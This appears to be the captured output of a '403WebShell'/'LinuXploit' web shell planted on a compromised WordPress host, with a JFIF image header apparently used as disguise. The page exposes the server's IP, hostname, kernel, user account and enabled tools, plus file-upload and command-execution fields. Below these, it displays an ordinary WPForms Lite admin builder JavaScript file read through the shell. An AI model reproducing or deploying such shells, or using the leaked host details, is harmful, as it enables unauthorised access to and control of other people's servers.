????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/wpforms-lite/assets/lite/js/admin/builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/wpforms-lite/assets/lite/js/admin/builder/admin-builder-lite.js
/* global wpforms_builder_lite, wpforms_builder, Choices, wpf */

// noinspection ES6ConvertVarToLetConst

/**
 * @param wpforms_builder_lite.disable_notifications
 */

var WPFormsBuilderLite = window.WPFormsBuilderLite || ( function( document, window, $ ) { // eslint-disable-line no-var
	/**
	 * Public functions and properties.
	 *
	 * @since 1.0.0
	 *
	 * @type {Object}
	 */
	const app = {

		/**
		 * Start the engine.
		 *
		 * @since 1.0.0
		 */
		init() {
			// Document ready
			$( app.ready );
		},

		/**
		 * Document ready.
		 *
		 * @since 1.0.0
		 */
		ready() {
			app.bindUIActions();
		},

		/**
		 * Element bindings.
		 *
		 * @since 1.0.0
		 */
		bindUIActions() {
			// Warn users if they disable email notifications.
			$( document ).on( 'change', '#wpforms-panel-field-settings-notification_enable', function() {
				app.formBuilderNotificationAlert( $( this ).is( ':checked' ) );
			} );
		},

		/**
		 * Warn users if they disable email notifications.
		 *
		 * @since 1.5.0
		 *
		 * @param {boolean} value Whether notifications enabled or not. 0 is disabled, 1 is enabled.
		 */
		formBuilderNotificationAlert( value ) {
			if ( value !== false ) {
				return;
			}

			$.alert( {
				title: wpforms_builder.heads_up,
				content: wpforms_builder_lite.disable_notifications,
				icon: 'fa fa-exclamation-circle',
				type: 'orange',
				buttons: {
					confirm: {
						text: wpforms_builder.ok,
						btnClass: 'btn-confirm',
						keys: [ 'enter' ],
					},
				},
			} );
		},

		/**
		 * Initialize Choices.js for the Coupon field.
		 *
		 * @since 1.9.4
		 */
		initCouponsChoicesJS() {
			if ( typeof window.Choices !== 'function' ) {
				return;
			}

			$( '.wpforms-field-option-row-allowed_coupons select:not(.choices__input)' ).each( function() {
				const $select = $( this );
				const choicesInstance = new Choices(
					$select.get( 0 ),
					{
						shouldSort: false,
						removeItemButton: true,
						renderChoicesLimit: 5,
						callbackOnInit() {
							wpf.showMoreButtonForChoices( this.containerOuter.element );
						},
					} );

				// Save Choices.js instance for future access.
				$select.data( 'choicesjs', choicesInstance );
			} );
		},
	};

	// Provide access to public functions/properties.
	return app;
}( document, window, jQuery ) );

WPFormsBuilderLite.init();

Youez - 2016 - github.com/yon3zu
LinuXploit